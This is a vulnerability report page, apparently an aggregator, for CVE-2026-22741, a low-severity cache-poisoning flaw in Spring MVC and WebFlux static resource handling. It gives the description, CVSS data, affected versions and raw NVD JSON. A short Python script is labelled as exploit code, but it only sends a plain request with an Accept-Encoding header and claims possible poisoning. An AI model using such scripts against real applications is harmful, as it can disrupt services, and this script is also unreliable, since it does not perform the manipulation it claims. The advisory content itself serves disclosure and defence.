Security Vulnerability Report
中文
CVE-2026-22741 CVSS 3.1 LOW

CVE-2026-22741

Published: 2026-04-29 12:16:18
Last Modified: 2026-05-04 14:51:05

Description

Spring MVC and WebFlux applications are vulnerable to cache poisoning when resolving static resources. More precisely, an application can be vulnerable when all the following are true: * the application is using Spring MVC or Spring WebFlux * the application is configuring the  resource chain support https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-config/static-resources.html#page-title  with caching enabled * the application adds support for encoded resources resolution * the resource cache must be empty when the attacker has access to the application When all the conditions above are met, the attacker can send malicious requests and poison the resource cache with resources using the wrong encoding. This can cause a denial of service by breaking the front-end application for clients.

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE
Spring MVC
Spring WebFlux

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_cache_poisoning(target_url): """ PoC for CVE-2026-22741: Spring Cache Poisoning This script sends a crafted request to attempt poisoning the static resource cache. """ headers = { "User-Agent": "Mozilla/5.0 (PoC-Client)", "Accept-Encoding": "gzip, deflate, br" } # Attacker sends a request to a static resource when the cache is presumed empty # The specific encoding manipulation depends on the server configuration try: response = requests.get(target_url, headers=headers) if response.status_code == 200: print(f"[+] Request sent to {target_url}. Cache potentially poisoned if conditions are met.") print(f"[+] Response Content-Type: {response.headers.get('Content-Type')}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://vulnerable-app/static/example.js" exploit_cache_poisoning(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22741", "sourceIdentifier": "[email protected]", "published": "2026-04-29T12:16:18.487", "lastModified": "2026-05-04T14:51:05.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spring MVC and WebFlux applications are vulnerable to cache poisoning when resolving static resources.\n\n\nMore precisely, an application can be vulnerable when all the following are true:\n\n * the application is using Spring MVC or Spring WebFlux\n * the application is configuring the  resource chain support https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-config/static-resources.html#page-title  with caching enabled\n * the application adds support for encoded resources resolution\n * the resource cache must be empty when the attacker has access to the application\n\n\nWhen all the conditions above are met, the attacker can send malicious requests and poison the resource cache with resources using the wrong encoding. This can cause a denial of service by breaking the front-end application for clients."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-524"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.3.48", "matchCriteriaId": "23C9BFA0-DDE5-4E6D-A9E0-ECC236913DF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0", "versionEndExcluding": "6.1.27", "matchCriteriaId": "FC58C148-219F-4868-B9F0-E0AF4435EF79"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.0", "versionEndExcluding": "6.2.18", "matchCriteriaId": "F317C66F-752D-40A9-AECF-5D1E51368AFE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.7", "matchCriteriaId": "78C5C95C-1A83-40E7-8C73-D5965E20BD06"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L&version=3.1", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://spring.io/security/cve-2026-22741", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}